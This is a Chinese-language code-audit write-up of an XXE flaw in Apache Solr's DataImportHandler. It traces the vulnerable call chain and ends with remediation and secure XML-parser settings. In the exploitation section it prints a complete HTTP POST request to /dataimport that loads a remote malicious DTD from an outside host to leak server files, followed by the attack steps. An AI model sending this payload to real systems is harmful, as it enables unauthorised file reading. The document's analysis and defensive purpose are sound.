代码审计系列之Apache-solr框架
字数 1315 2025-08-24 07:48:33
Apache Solr框架代码审计与漏洞分析
一、Apache Solr框架简介
Apache Solr是一个开源的搜索服务器,基于Java语言开发,主要构建在HTTP和Apache Lucene之上。它是一个独立的企业级搜索应用服务器,被广泛应用于各种企业环境中。
核心特点:
- 基于HTTP/XML的文档索引和搜索
- 使用Java开发
- 构建于Apache Lucene之上
- 提供RESTful API接口
二、漏洞背景
在审计某厂商系统时发现Solr框架被广泛使用,存在多个安全风险点,特别是XXE(XML External Entity)漏洞。
三、漏洞分析:全版本目录列表/文件读取
1. 漏洞根源分析
1.1 web.xml配置分析
默认配置中关键部分:
<filter-mapping>
<filter-name>SolrRequestFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
1.2 SolrDispatchFilter类分析
关键调用链:
doFilter方法调用this.handleAdminRequest(req, response, handler2, solrReq)- 跟进
RequestHandlerBase - 重点关注
DataImportHandler.class实现
2. XXE漏洞详细分析
2.1 漏洞位置
在DataImportHandler类中,this.importer.runCmd方法会调用loadDataConfig进行XML解析。
2.2 漏洞原因
loadDataConfig方法使用DocumentBuilder解析XML时,未禁用外部实体,导致XXE漏洞。
2.3 协议测试
- gopher协议:不支持
- http协议:支持但会因特殊字符抛出异常
- ftp协议:成功利用
3. 漏洞利用过程
3.1 漏洞利用条件
- 访问
/dataimport端点 - 能够发送特制XML请求
3.2 利用Payload示例
POST /test1/dataimport HTTP/1.1
Host: localhost:8080
Content-Length: 281
Content-Type: application/x-www-form-urlencoded
Connection: close
command=full-import&wt=json&indent=true&verbose=false&clean=false&commit=false&optimize=false&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2Fxxe.boomeye.com%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E
3.3 利用步骤
- 构造包含外部实体引用的XML
- 通过FTP服务提供恶意DTD
- 发送特制请求到
/dataimport端点 - 服务器解析XML时加载外部实体,导致信息泄露
四、漏洞修复建议
1. 临时解决方案
- 为每个Solr实例添加授权机制
- 使用WAF拦截恶意请求
2. 根本解决方案
- 在XML解析时禁用外部实体
- 更新到官方修复版本
五、安全编码建议
- XML解析安全:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- 输入验证:
- 对用户提供的XML数据进行严格验证
- 过滤特殊字符和实体引用
- 访问控制:
- 限制
/dataimport等敏感端点的访问 - 实施基于角色的访问控制
六、总结
Apache Solr框架由于在XML解析时未禁用外部实体,导致存在XXE漏洞,攻击者可利用此漏洞读取服务器上的任意文件。开发人员应重视XML解析安全,及时应用安全补丁,并实施严格的访问控制措施。
附录:参考链接
- Apache Solr官方网站:https://lucene.apache.org/solr/
- XXE漏洞防护指南:https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html